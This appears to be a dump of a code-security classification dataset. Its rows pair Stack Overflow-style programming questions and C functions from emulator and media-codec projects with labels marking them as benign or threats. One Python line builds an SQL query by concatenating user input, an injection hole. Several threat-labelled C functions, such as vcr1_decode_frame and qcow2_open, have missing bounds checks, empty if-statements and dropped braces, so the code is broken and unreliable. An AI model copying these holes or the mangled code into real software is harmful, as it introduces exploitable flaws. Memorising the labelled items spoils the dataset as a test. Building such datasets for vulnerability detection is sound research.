problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
How to add table rows to table layout programmatically? : <p>Hi I am trying to add some TableRows to a TableLayout, the TableLayout is declared within the xml-file, the TableRows are intantiated only in the java code.
Altough there are some similar questions, I could not make it work in my code:</p>
<pre><code> import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TableLayout;
import android.widget.TableRow;
import android.widget.TableRow.LayoutParams;
public class MainActivity extends Activity {
TableLayout tableLayout;
Button[][] buttons =new Button[9][9];
TableRow tableRow[]=new TableRow[9];
TableRow.LayoutParams layoutParams=new TableRow.LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT);
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
tableLayout = (TableLayout) findViewById(R.id.tablay);
for(int line=0; line<9; line++){
tableRow[line]=new TableRow(this);
tableRow[line].setLayoutParams(layoutParams);
tableRow[line].setVisibility(View.VISIBLE);
}
for(int line=0; line<9; line++){
for(int col=0; col<9; col++){
buttons[line][col]=new Button(this);
buttons[line][col].setText(""+line+col);
buttons[line][col].setLayoutParams(layoutParams);
buttons[line][col].setVisibility(View.VISIBLE);
tableRow[line].addView(buttons[line][col]);
}
}
for(int i=0; i<9; i++){
tableLayout.addView(tableRow[i], new TableLayout.LayoutParams(
LayoutParams.MATCH_PARENT,
LayoutParams.WRAP_CONTENT));
}
setContentView(R.layout.activity_main);
}
}
</code></pre>
<p>The app always terminates immediately after launching, I can not see what the problem is.
Thanks for your help!</p>
| 0debug
|
static int vcr1_decode_frame(AVCodecContext *avctx, void *data,
int *got_frame, AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
VCR1Context *const a = avctx->priv_data;
AVFrame *const p = data;
const uint8_t *bytestream = buf;
int i, x, y, ret;
if ((ret = ff_get_buffer(avctx, p, 0)) < 0) {
av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n");
return ret;
}
p->pict_type = AV_PICTURE_TYPE_I;
p->key_frame = 1;
if (buf_size < 32)
for (i = 0; i < 16; i++) {
a->delta[i] = *bytestream++;
bytestream++;
buf_size--;
}
for (y = 0; y < avctx->height; y++) {
int offset;
uint8_t *luma = &p->data[0][y * p->linesize[0]];
if ((y & 3) == 0) {
uint8_t *cb = &p->data[1][(y >> 2) * p->linesize[1]];
uint8_t *cr = &p->data[2][(y >> 2) * p->linesize[2]];
for (i = 0; i < 4; i++)
a->offset[i] = *bytestream++;
offset = a->offset[0] - a->delta[bytestream[2] & 0xF];
for (x = 0; x < avctx->width; x += 4) {
luma[0] = offset += a->delta[bytestream[2] & 0xF];
luma[1] = offset += a->delta[bytestream[2] >> 4];
luma[2] = offset += a->delta[bytestream[0] & 0xF];
luma[3] = offset += a->delta[bytestream[0] >> 4];
luma += 4;
*cb++ = bytestream[3];
*cr++ = bytestream[1];
bytestream += 4;
buf_size -= 4;
}
} else {
if (buf_size < avctx->width / 2)
offset = a->offset[y & 3] - a->delta[bytestream[2] & 0xF];
for (x = 0; x < avctx->width; x += 8) {
luma[0] = offset += a->delta[bytestream[2] & 0xF];
luma[1] = offset += a->delta[bytestream[2] >> 4];
luma[2] = offset += a->delta[bytestream[3] & 0xF];
luma[3] = offset += a->delta[bytestream[3] >> 4];
luma[4] = offset += a->delta[bytestream[0] & 0xF];
luma[5] = offset += a->delta[bytestream[0] >> 4];
luma[6] = offset += a->delta[bytestream[1] & 0xF];
luma[7] = offset += a->delta[bytestream[1] >> 4];
luma += 8;
bytestream += 4;
buf_size -= 4;
}
}
}
*got_frame = 1;
return buf_size;
packet_small:
av_log(avctx, AV_LOG_ERROR, "Input packet too small.\n");
return AVERROR_INVALIDDATA;
}
| 1threat
|
Get indices of elements that are greater than a threshold in 2D numpy array : <p>I have a 2D numpy array:</p>
<pre><code>x = [[ 1.92043482e-04 0.00000000e+00 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00 2.41005634e-03 0.00000000e+00
7.19330120e-04 0.00000000e+00 0.00000000e+00 1.42886875e-04
0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00
0.00000000e+00 9.79279411e-05 7.88888657e-04 0.00000000e+00
0.00000000e+00 1.40425916e-01 0.00000000e+00 1.13955893e-02
7.36868947e-03 3.67091988e-04 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00 1.72037105e-03 1.72377961e-03
0.00000000e+00 0.00000000e+00 1.19532061e-01 0.00000000e+00
0.00000000e+00 0.00000000e+00 0.00000000e+00 3.37249481e-04
0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00 1.75111492e-03 0.00000000e+00
0.00000000e+00 1.12639313e-02]
[ 0.00000000e+00 0.00000000e+00 1.10271735e-04 5.98736562e-04
6.77961628e-04 7.49569659e-04 0.00000000e+00 0.00000000e+00
2.91697850e-03 0.00000000e+00 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00 3.30257021e-04 2.46629275e-04
0.00000000e+00 1.87586441e-02 6.49103144e-04 0.00000000e+00
1.19046355e-04 0.00000000e+00 0.00000000e+00 2.69499898e-03
1.48525386e-02 0.00000000e+00 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00 0.00000000e+00 1.18803119e-03
3.93100829e-04 0.00000000e+00 3.76245304e-04 2.79537738e-02
0.00000000e+00 1.20738457e-03 9.74669064e-06 7.18680093e-04
1.61546793e-02 3.49360861e-04 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00 0.00000000e+00 0.00000000e+00
0.00000000e+00 0.00000000e+00]]
</code></pre>
<p>How do I get indices of the elements that are greater than <code>0.01</code>?</p>
<p>Right now, I'm doing <code>t = np.argmax(x, axis=1)</code> to get the index of the maximum value from each and the result of it is: <code>[21 35]</code>. How do I achieve the above?</p>
| 0debug
|
How do i pass eslint checking for this.props.navigation.navigate (react-navigation)? : <p>I am using eslint airbnb in my react native project. The eslint throw error linting if i didn't validate the props, especially the props from <code>react-navigation</code>.</p>
<p><a href="https://i.stack.imgur.com/PhWFn.png" rel="noreferrer"><img src="https://i.stack.imgur.com/PhWFn.png" alt="props validation 1"></a>
How do i validate this using PropTypes?</p>
<p>I am trying to validate it like this:</p>
<pre><code>IntroScreen.propTypes = {
navigation: PropTypes.shape({
navigate: PropTypes.func,
}),
};
</code></pre>
<p>but still got error linting like this
<a href="https://i.stack.imgur.com/7dNpO.png" rel="noreferrer"><img src="https://i.stack.imgur.com/7dNpO.png" alt="error lint 2"></a></p>
<p>How do i pass the default props, and should i?</p>
| 0debug
|
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
| 1threat
|
static int ram_decompress_buf(RamDecompressState *s, uint8_t *buf, int len)
{
int ret, clen;
s->zstream.avail_out = len;
s->zstream.next_out = buf;
while (s->zstream.avail_out > 0) {
if (s->zstream.avail_in == 0) {
if (qemu_get_be16(s->f) != RAM_CBLOCK_MAGIC)
return -1;
clen = qemu_get_be16(s->f);
if (clen > IOBUF_SIZE)
return -1;
qemu_get_buffer(s->f, s->buf, clen);
s->zstream.avail_in = clen;
s->zstream.next_in = s->buf;
}
ret = inflate(&s->zstream, Z_PARTIAL_FLUSH);
if (ret != Z_OK && ret != Z_STREAM_END) {
return -1;
}
}
return 0;
}
| 1threat
|
static uint32_t icp_accept(struct icp_server_state *ss)
{
uint32_t xirr = ss->xirr;
qemu_irq_lower(ss->output);
ss->xirr = ss->pending_priority << 24;
trace_xics_icp_accept(xirr, ss->xirr);
return xirr;
}
| 1threat
|
Get size of each installed formula in homebrew? : <p>I am doing some cleanup of packages not needed anymore and want to figure out how to do this with homebrew. Also it will be nice to know if some package depends on another package which I plan to delete.</p>
| 0debug
|
TC6393xbState *tc6393xb_init(MemoryRegion *sysmem, uint32_t base, qemu_irq irq)
{
TC6393xbState *s;
DriveInfo *nand;
static const MemoryRegionOps tc6393xb_ops = {
.read = tc6393xb_readb,
.write = tc6393xb_writeb,
.endianness = DEVICE_NATIVE_ENDIAN,
.impl = {
.min_access_size = 1,
.max_access_size = 1,
},
};
s = (TC6393xbState *) g_malloc0(sizeof(TC6393xbState));
s->irq = irq;
s->gpio_in = qemu_allocate_irqs(tc6393xb_gpio_set, s, TC6393XB_GPIOS);
s->l3v = *qemu_allocate_irqs(tc6393xb_l3v, s, 1);
s->blanked = 1;
s->sub_irqs = qemu_allocate_irqs(tc6393xb_sub_irq, s, TC6393XB_NR_IRQS);
nand = drive_get(IF_MTD, 0, 0);
s->flash = nand_init(nand ? blk_bs(blk_by_legacy_dinfo(nand)) : NULL,
NAND_MFR_TOSHIBA, 0x76);
memory_region_init_io(&s->iomem, NULL, &tc6393xb_ops, s, "tc6393xb", 0x10000);
memory_region_add_subregion(sysmem, base, &s->iomem);
memory_region_init_ram(&s->vram, NULL, "tc6393xb.vram", 0x100000,
&error_abort);
vmstate_register_ram_global(&s->vram);
s->vram_ptr = memory_region_get_ram_ptr(&s->vram);
memory_region_add_subregion(sysmem, base + 0x100000, &s->vram);
s->scr_width = 480;
s->scr_height = 640;
s->con = graphic_console_init(NULL, 0, &tc6393xb_gfx_ops, s);
return s;
}
| 1threat
|
static void tc6393xb_gpio_set(void *opaque, int line, int level)
{
if (line > TC6393XB_GPIOS) {
printf("%s: No GPIO pin %i\n", __FUNCTION__, line);
return;
}
}
| 1threat
|
Android Studio: Asset File is not being read correctly by InputStream/Reader : I want to build my own password generator. Therefore I created files containing all symbols, which are currently lying in the manually created folder "assets". I also created a method, that shall return a single files content as a string array. The method already seems to recognize the given files because it catches no "FileNotFoundException" and it gets the file's amount of lines correctly. Now my problem is, that the Array returned does not contain the file's content but just an amount of "null"s, corresponding to the file's amount of lines.
I hope that information will do.
Can anyone help me?
I already tried using different Charsets and moving the files to the folder "/res/raw/".
public String[] getList(String filename) {
String[] zeichenliste = new String[0];
try {
InputStream is = getAssets().open(filename);
BufferedReader br = new BufferedReader (new InputStreamReader(is));
int length = 0;
while (br.readLine() != null) length++;
zeichenliste = new String[length];
br = new BufferedReader (new InputStreamReader(is));
for (int i = 0; i < length; i++) zeichenliste[i] = br.readLine();
br.close();
is.close();
} catch (IOException e) {
e.printStackTrace();
return(null);
}
return zeichenliste;
}
| 0debug
|
static void curl_close(BlockDriverState *bs)
{
BDRVCURLState *s = bs->opaque;
DPRINTF("CURL: Close\n");
curl_detach_aio_context(bs);
qemu_mutex_destroy(&s->mutex);
g_free(s->cookie);
g_free(s->url);
}
| 1threat
|
void s390_pci_sclp_deconfigure(SCCB *sccb)
{
PciCfgSccb *psccb = (PciCfgSccb *)sccb;
S390PCIBusDevice *pbdev = s390_pci_find_dev_by_fid(s390_get_phb(),
be32_to_cpu(psccb->aid));
uint16_t rc;
if (be16_to_cpu(sccb->h.length) < 16) {
rc = SCLP_RC_INSUFFICIENT_SCCB_LENGTH;
goto out;
}
if (!pbdev) {
DPRINTF("sclp deconfig no dev found\n");
rc = SCLP_RC_ADAPTER_ID_NOT_RECOGNIZED;
goto out;
}
switch (pbdev->state) {
case ZPCI_FS_RESERVED:
rc = SCLP_RC_ADAPTER_IN_RESERVED_STATE;
break;
case ZPCI_FS_STANDBY:
rc = SCLP_RC_NO_ACTION_REQUIRED;
break;
default:
if (pbdev->summary_ind) {
pci_dereg_irqs(pbdev);
}
if (pbdev->iommu->enabled) {
pci_dereg_ioat(pbdev->iommu);
}
pbdev->state = ZPCI_FS_STANDBY;
rc = SCLP_RC_NORMAL_COMPLETION;
if (pbdev->release_timer) {
qdev_unplug(DEVICE(pbdev->pdev), NULL);
}
}
out:
psccb->header.response_code = cpu_to_be16(rc);
}
| 1threat
|
sql get string after and before certain string : I want to get the String after first Comma and before 2nd comma.
For the exmple below, the output should be **7GWW90330P15**
in SQL
7GWW90330P14,7GWW90330P15,7GWW90330P16,,7GWW90330P17
| 0debug
|
void nbd_export_close(NBDExport *exp)
{
NBDClient *client, *next;
nbd_export_get(exp);
QTAILQ_FOREACH_SAFE(client, &exp->clients, next, next) {
nbd_client_close(client);
}
nbd_export_set_name(exp, NULL);
nbd_export_put(exp);
if (exp->blk) {
blk_remove_aio_context_notifier(exp->blk, blk_aio_attached,
blk_aio_detach, exp);
blk_unref(exp->blk);
exp->blk = NULL;
}
}
| 1threat
|
Why does Shake recommend disabling idle garbage collection? : <p>In the Shake documentation it recommends compiling using the flag <code>-with-rtsopts=-I0</code> to disable idle garbage collection. Why does Shake recommend that?</p>
| 0debug
|
Using std::array and using "array" as name : <p>In my C++ JSON library, I recently had a <a href="https://github.com/nlohmann/json/issues/590" rel="noreferrer">regression with GCC7</a>. I stripped down the affected code and hope to understand the error.</p>
<h1>The code</h1>
<p>Consider this header <code>myclass.hpp</code>:</p>
<pre><code>#pragma once
template <typename X>
struct A
{
struct value_t
{
X array;
};
static A array()
{
return A();
}
friend bool operator<(const A& lhs, const A& rhs) noexcept
{
return lhs.val.array < rhs.val.array;
}
value_t val = {};
};
</code></pre>
<p>As you see, I used the name "array" as member variable name in struct <code>value_t</code>, as name of a static function. I then included the header in the following file:</p>
<pre><code>#include <array>
using std::array; // note this!
#include "myclass.hpp"
int main()
{}
</code></pre>
<h1>The problem</h1>
<p>The code compiles with GCC6 and Clang5 (using <code>-std=c++11</code>), but GCC7 reports:</p>
<pre><code>In file included from example.cpp:3:0:
myclass.hpp: In function 'bool operator<(const A<X>&, const A<X>&)':
myclass.hpp:19:40: error: wrong number of template arguments (1, should be 2)
return lhs.val.array < rhs.val.array;
^~~~~
In file included from example.cpp:1:0:
/usr/local/Cellar/gcc/7.1.0/include/c++/7.1.0/array:94:12: note: provided for 'template<class _Tp, long unsigned int _Nm> struct std::array'
struct array
^~~~~
make: *** [all] Error 1
</code></pre>
<p>It seems as if the parser reads the "array" in <code>lhs.val.array</code> as <code>std::array</code> and treats the following <code><</code> as the start of a template list.</p>
<p>The code can be compiled if I make any of the changes below:</p>
<ul>
<li>Remove the <code>using std::array;</code> or move it behind <code>#include "myclass.hpp"</code>.</li>
<li>Change <code>return lhs.val.array < rhs.val.array;</code> to <code>return (lhs.val.array) < rhs.val.array;</code>.</li>
</ul>
<p>In addition, either compiler fails if I remove the <code>static A array()</code> function...</p>
<h1>My questions</h1>
<ul>
<li>Is the code correct in the first place? Am I allowed to use "array" as a name even if I use <code>using std::array;</code>?</li>
<li>If the code is correct, is this a bug in GCC7?</li>
</ul>
| 0debug
|
START_TEST(qdict_haskey_test)
{
const char *key = "test";
qdict_put(tests_dict, key, qint_from_int(0));
fail_unless(qdict_haskey(tests_dict, key) == 1);
}
| 1threat
|
Error during WebSocket handshake: Unexpected response code: 403 : <p>I have implemented <strong>WebSockets</strong> with <strong>Spring Boot Application</strong> and have the below error message when trying to test the ws connection with the chrome extension '<strong>Smart websocket client</strong>'.
However, I have no problem when run the Spring Boot Application locally.</p>
<pre><code>WebSocket connection to 'ws://192.168.X.XYZ:8080/test' failed:
Error during WebSocket handshake: Unexpected response code: 403
</code></pre>
<p>The only difference which I see is in the Request headers:</p>
<p>In the one it works - Origin:<a href="http://192.168.X.XYZ:8080" rel="noreferrer">http://192.168.X.XYZ:8080</a></p>
<p>In the one it does not work - Origin:chrome-extension://omalebghpgejjiaoknljcfmglgbpocdp</p>
<p>What I did in the <strong>WebSocketConfig</strong> class is below:</p>
<pre><code>@Override
public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
registry.addHandler(myHandler(), "/test").setAllowedOrigins("http://192.168.X.XYZ:8080");
}
</code></pre>
<p>and still does <strong>not</strong> work.</p>
<p>Could you please advise what the reason for that error might be and how to fix it? </p>
<p>Thank you in advance.</p>
| 0debug
|
static int qcow2_open(BlockDriverState *bs, QDict *options, int flags,
Error **errp)
{
BDRVQcowState *s = bs->opaque;
int len, i, ret = 0;
QCowHeader header;
QemuOpts *opts;
Error *local_err = NULL;
uint64_t ext_end;
uint64_t l1_vm_state_index;
const char *opt_overlap_check;
int overlap_check_template = 0;
ret = bdrv_pread(bs->file, 0, &header, sizeof(header));
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not read qcow2 header");
be32_to_cpus(&header.magic);
be32_to_cpus(&header.version);
be64_to_cpus(&header.backing_file_offset);
be32_to_cpus(&header.backing_file_size);
be64_to_cpus(&header.size);
be32_to_cpus(&header.cluster_bits);
be32_to_cpus(&header.crypt_method);
be64_to_cpus(&header.l1_table_offset);
be32_to_cpus(&header.l1_size);
be64_to_cpus(&header.refcount_table_offset);
be32_to_cpus(&header.refcount_table_clusters);
be64_to_cpus(&header.snapshots_offset);
be32_to_cpus(&header.nb_snapshots);
if (header.magic != QCOW_MAGIC) {
error_setg(errp, "Image is not in qcow2 format");
if (header.version < 2 || header.version > 3) {
report_unsupported(bs, errp, "QCOW version %d", header.version);
ret = -ENOTSUP;
s->qcow_version = header.version;
if (header.cluster_bits < MIN_CLUSTER_BITS ||
header.cluster_bits > MAX_CLUSTER_BITS) {
error_setg(errp, "Unsupported cluster size: 2^%i", header.cluster_bits);
s->cluster_bits = header.cluster_bits;
s->cluster_size = 1 << s->cluster_bits;
s->cluster_sectors = 1 << (s->cluster_bits - 9);
if (header.version == 2) {
header.incompatible_features = 0;
header.compatible_features = 0;
header.autoclear_features = 0;
header.refcount_order = 4;
header.header_length = 72;
} else {
be64_to_cpus(&header.incompatible_features);
be64_to_cpus(&header.compatible_features);
be64_to_cpus(&header.autoclear_features);
be32_to_cpus(&header.refcount_order);
be32_to_cpus(&header.header_length);
if (header.header_length < 104) {
error_setg(errp, "qcow2 header too short");
if (header.header_length > s->cluster_size) {
error_setg(errp, "qcow2 header exceeds cluster size");
if (header.header_length > sizeof(header)) {
s->unknown_header_fields_size = header.header_length - sizeof(header);
s->unknown_header_fields = g_malloc(s->unknown_header_fields_size);
ret = bdrv_pread(bs->file, sizeof(header), s->unknown_header_fields,
s->unknown_header_fields_size);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not read unknown qcow2 header "
"fields");
if (header.backing_file_offset) {
ext_end = header.backing_file_offset;
} else {
ext_end = 1 << header.cluster_bits;
s->incompatible_features = header.incompatible_features;
s->compatible_features = header.compatible_features;
s->autoclear_features = header.autoclear_features;
if (s->incompatible_features & ~QCOW2_INCOMPAT_MASK) {
void *feature_table = NULL;
qcow2_read_extensions(bs, header.header_length, ext_end,
&feature_table, NULL);
report_unsupported_feature(bs, errp, feature_table,
s->incompatible_features &
~QCOW2_INCOMPAT_MASK);
ret = -ENOTSUP;
g_free(feature_table);
if (s->incompatible_features & QCOW2_INCOMPAT_CORRUPT) {
if ((flags & BDRV_O_RDWR) && !(flags & BDRV_O_CHECK)) {
error_setg(errp, "qcow2: Image is corrupt; cannot be opened "
"read/write");
ret = -EACCES;
if (header.refcount_order != 4) {
report_unsupported(bs, errp, "%d bit reference counts",
1 << header.refcount_order);
ret = -ENOTSUP;
s->refcount_order = header.refcount_order;
if (header.crypt_method > QCOW_CRYPT_AES) {
error_setg(errp, "Unsupported encryption method: %i",
header.crypt_method);
s->crypt_method_header = header.crypt_method;
if (s->crypt_method_header) {
bs->encrypted = 1;
s->l2_bits = s->cluster_bits - 3;
s->l2_size = 1 << s->l2_bits;
bs->total_sectors = header.size / 512;
s->csize_shift = (62 - (s->cluster_bits - 8));
s->csize_mask = (1 << (s->cluster_bits - 8)) - 1;
s->cluster_offset_mask = (1LL << s->csize_shift) - 1;
s->refcount_table_offset = header.refcount_table_offset;
s->refcount_table_size =
header.refcount_table_clusters << (s->cluster_bits - 3);
s->snapshots_offset = header.snapshots_offset;
s->nb_snapshots = header.nb_snapshots;
s->l1_size = header.l1_size;
l1_vm_state_index = size_to_l1(s, header.size);
if (l1_vm_state_index > INT_MAX) {
error_setg(errp, "Image is too big");
ret = -EFBIG;
s->l1_vm_state_index = l1_vm_state_index;
if (s->l1_size < s->l1_vm_state_index) {
error_setg(errp, "L1 table is too small");
s->l1_table_offset = header.l1_table_offset;
if (s->l1_size > 0) {
s->l1_table = g_malloc0(
align_offset(s->l1_size * sizeof(uint64_t), 512));
ret = bdrv_pread(bs->file, s->l1_table_offset, s->l1_table,
s->l1_size * sizeof(uint64_t));
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not read L1 table");
for(i = 0;i < s->l1_size; i++) {
be64_to_cpus(&s->l1_table[i]);
s->l2_table_cache = qcow2_cache_create(bs, L2_CACHE_SIZE);
s->refcount_block_cache = qcow2_cache_create(bs, REFCOUNT_CACHE_SIZE);
s->cluster_cache = g_malloc(s->cluster_size);
s->cluster_data = qemu_blockalign(bs, QCOW_MAX_CRYPT_CLUSTERS * s->cluster_size
+ 512);
s->cluster_cache_offset = -1;
s->flags = flags;
ret = qcow2_refcount_init(bs);
if (ret != 0) {
error_setg_errno(errp, -ret, "Could not initialize refcount handling");
QLIST_INIT(&s->cluster_allocs);
QTAILQ_INIT(&s->discards);
if (qcow2_read_extensions(bs, header.header_length, ext_end, NULL,
&local_err)) {
error_propagate(errp, local_err);
if (header.backing_file_offset != 0) {
len = header.backing_file_size;
if (len > 1023) {
len = 1023;
ret = bdrv_pread(bs->file, header.backing_file_offset,
bs->backing_file, len);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not read backing file name");
bs->backing_file[len] = '\0';
ret = qcow2_read_snapshots(bs);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not read snapshots");
if (!bs->read_only && !(flags & BDRV_O_INCOMING) && s->autoclear_features) {
s->autoclear_features = 0;
ret = qcow2_update_header(bs);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not update qcow2 header");
qemu_co_mutex_init(&s->lock);
if (!(flags & (BDRV_O_CHECK | BDRV_O_INCOMING)) && !bs->read_only &&
(s->incompatible_features & QCOW2_INCOMPAT_DIRTY)) {
BdrvCheckResult result = {0};
ret = qcow2_check(bs, &result, BDRV_FIX_ERRORS);
if (ret < 0) {
error_setg_errno(errp, -ret, "Could not repair dirty image");
opts = qemu_opts_create(&qcow2_runtime_opts, NULL, 0, &error_abort);
qemu_opts_absorb_qdict(opts, options, &local_err);
if (local_err) {
error_propagate(errp, local_err);
s->use_lazy_refcounts = qemu_opt_get_bool(opts, QCOW2_OPT_LAZY_REFCOUNTS,
(s->compatible_features & QCOW2_COMPAT_LAZY_REFCOUNTS));
s->discard_passthrough[QCOW2_DISCARD_NEVER] = false;
s->discard_passthrough[QCOW2_DISCARD_ALWAYS] = true;
s->discard_passthrough[QCOW2_DISCARD_REQUEST] =
qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_REQUEST,
flags & BDRV_O_UNMAP);
s->discard_passthrough[QCOW2_DISCARD_SNAPSHOT] =
qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_SNAPSHOT, true);
s->discard_passthrough[QCOW2_DISCARD_OTHER] =
qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_OTHER, false);
opt_overlap_check = qemu_opt_get(opts, "overlap-check") ?: "cached";
if (!strcmp(opt_overlap_check, "none")) {
overlap_check_template = 0;
} else if (!strcmp(opt_overlap_check, "constant")) {
overlap_check_template = QCOW2_OL_CONSTANT;
} else if (!strcmp(opt_overlap_check, "cached")) {
overlap_check_template = QCOW2_OL_CACHED;
} else if (!strcmp(opt_overlap_check, "all")) {
overlap_check_template = QCOW2_OL_ALL;
} else {
error_setg(errp, "Unsupported value '%s' for qcow2 option "
"'overlap-check'. Allowed are either of the following: "
"none, constant, cached, all", opt_overlap_check);
qemu_opts_del(opts);
s->overlap_check = 0;
for (i = 0; i < QCOW2_OL_MAX_BITNR; i++) {
s->overlap_check |=
qemu_opt_get_bool(opts, overlap_bool_option_names[i],
overlap_check_template & (1 << i)) << i;
qemu_opts_del(opts);
if (s->use_lazy_refcounts && s->qcow_version < 3) {
error_setg(errp, "Lazy refcounts require a qcow2 image with at least "
"qemu 1.1 compatibility level");
#ifdef DEBUG_ALLOC
{
BdrvCheckResult result = {0};
qcow2_check_refcounts(bs, &result, 0);
#endif
return ret;
fail:
g_free(s->unknown_header_fields);
cleanup_unknown_header_ext(bs);
qcow2_free_snapshots(bs);
qcow2_refcount_close(bs);
g_free(s->l1_table);
s->l1_table = NULL;
if (s->l2_table_cache) {
qcow2_cache_destroy(bs, s->l2_table_cache);
if (s->refcount_block_cache) {
qcow2_cache_destroy(bs, s->refcount_block_cache);
g_free(s->cluster_cache);
qemu_vfree(s->cluster_data);
return ret;
| 1threat
|
Cannot connect to remote sql server on laptop : When trying to connect to Remote SQL server 2012 database from management studio 2012 on my laptop I am getting below error:
A network-related or instance-specific error occurred while establishing a connection to SQL Server. The server was not found or was not accessible. Verify that the instance name is correct and that SQL Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (Microsoft SQL Server, Error:53). the network path was not found.
I hosted my website on Host Gator hosting provider and I have created a database on their hosting server with user details. I am trying to connect to the remote database using my laptop. I have windows 10 operating system on my laptop.
Below are the steps I have followed:
1.Make sure that the TCP/IP and Named Pipes protocols are enabled in the Sql Configuration Manager
2. Make sure that the SQL Server Browser and the SQL Server is up and running on my machine
3. Make sure that the TCP/IP protocol with port number:1433 is added to inbound rules in the firewall.
4.Make sure that TCP/IP protocol is enabled through CLIConfg
| 0debug
|
swift Alamofire migration parsing JSON : On migrating to recent versions am finding it hard to get and print the fields of name , age and dob from JSON using Alamofire 4 parsing in Swift 3.
JSON FORMAT
SetValues": {
"data":
[
{
"Name": yyyyy ,
"Age": 13,
"DOB": "2017-06-08",
}
{
"Name": xxxx ,
"Age": 33,
"DOB": "2015-06-08",
}]
| 0debug
|
JavaScript return not behaving as expected : <p>I have a basic <code>jQuery</code> function:</p>
<pre><code>$(document).on('click', '#myElement', function(){
alert( getItemDescription('2') );
});
</code></pre>
<p>My function gets called, and runs the following as expected:</p>
<pre><code>function getItemDescription(id){
$.post("item_description.php", {id:id},
function () {
// ...
})
.done(function (data) {
return data;
})
.fail(function () {
return 'error';
});
}
</code></pre>
<p>When I look at the network tab in the console window, the <code>.post()</code> is successfully retrieving the correct info from <code>item_description.php</code> -- However my original function -- The <code>alert</code> simply replies <code>undefined</code> -- I have looked at the return manual in <code>JS</code> and read numerous posts on S.O. -- <code>return</code> is supposed to be able to return a literal is it not? What am I not seeing with this simple script? How do I get the retrieved variable <code>data</code> from <code>getItemDescription</code> into the <code>alert</code> ?</p>
| 0debug
|
Need DOS batch file to rename subfolders : I want to DOS batch file to
1. To prefix filename of files in subfolders with name of folder & subfolder name
2. Move rename file to another location
e.g. I have folder created for date 12-JAN-2017 as follows
Current folder
d:\12-01-2017\1234\ABC\file1.txt
d:\12-01-2017\1234\ABC\file2.txt
d:\12-01-2017\5678\PQR\file3.txt
d:\12-01-2017\2345\XYZ\file4.txt
I what that to be moved to "transfer" folder as per following naming
d:\transfer\1234_ABC_file1.txt
d:\transfer\1234_ABC_file2.txt
d:\transfer\5678_PQR_file3.txt
d:\transfer\2345_XYZ_file4.txt
I tried rename comman in recurrsion but didn't worked
| 0debug
|
How to I properly use the min function in Haskell code? : <pre><code>main = print $ smallestFactor 15
factors n = [x | x <- [2..n], n `mod` x == 0]
smallestFactor n = min[factors n]
</code></pre>
<p>I understand that it's a pretty trivial question but someone told me that I could use min get grab out the smallest value of a element list. Though, I'm not exactly sure how one is suppose to use it. </p>
| 0debug
|
Can cond support TF ops with side effects? : <p>The (source code) documentation for <code>tf.cond</code> is unclear on whether the functions to be performed when the predicate is evaluated can have side effects or not. I've done some tests but I'm getting conflicting results. For example the code below does not work:</p>
<pre><code>import tensorflow as tf
from tensorflow.python.ops import control_flow_ops
pred = tf.placeholder(tf.bool, [])
count = tf.Variable(0)
adder = count.assign_add(1)
subtractor = count.assign_sub(2)
my_op = control_flow_ops.cond(pred, lambda: adder, lambda: subtractor)
sess = tf.InteractiveSession()
tf.initialize_all_variables().run()
my_op.eval(feed_dict={pred: True})
count.eval() # returns -1
my_op.eval(feed_dict={pred: False})
count.eval() # returns -2
</code></pre>
<p>I.e. no matter what value the predicate evaluates to, both functions are getting run, and so the net result is a subtraction of 1. On the other hand, this code snippet does work, where the only difference is that I add new ops to the graph every time <code>my_op</code> is called:</p>
<pre><code>pred = tf.placeholder(tf.bool, [])
count = tf.Variable(0)
my_op = control_flow_ops.cond(pred, lambda:count.assign_add(1), lambda:count.assign_sub(2))
sess = tf.InteractiveSession()
tf.initialize_all_variables().run()
my_op.eval(feed_dict={pred: False})
count.eval() # returns -2
my_op.eval(feed_dict={pred: True})
count.eval() # returns -1
</code></pre>
<p>Not sure why creating new ops every time works while the other case doesn't, but I'd obviously rather not be adding nodes as the graph will eventually become too big.</p>
| 0debug
|
Validate array of objects in express validator : <p>I am using express validator to validate my fields. But now i have array of 2 or 3 objects, which contains the "userId" and "Hours" fields like below.</p>
<pre><code>[
{
user_id:1,
hours:8
},
{
user_id:2,
hours:7
}
]
</code></pre>
<p>Now i need to validate, if any of object property like <strong>hours or user_id</strong> is empty or not.if empty throw it's error.</p>
| 0debug
|
how can transform a data.frame with factor in the first coloumn to datatype : I have a question about format a column to make a ggplot understand like a datatype.
I have a variable who I called "dat1".
dat1 is a matrix made of a characters
dat1 <- "2017-07-14 18:00:00", "2017-07-14 19:00:00","2017-07-14 20:00:00","2017-07-14 21:00:00", "2017-07-14 22:00:00", "2017-07-14 23:00:00"
dat1=as.matrix(dat1)
> class(dat1)
"matrix"
> class(dat1[,1])
"character"
"mean_hour" is another variable, in that case is a matrix made of numeric type
mean_hour <- c(132,134,432,233,564,345)
mean_hour=as.matrix(mean_hour)
> class(mean_hour)
[1] "matrix"
> class(mean_hour[,1])
[1] "numeric"
Now I make a data.frame with dat1 and mean_hour:
med_horaria_plot <- data.frame(dat1,mean_hour)
This data.frame stayed this way:
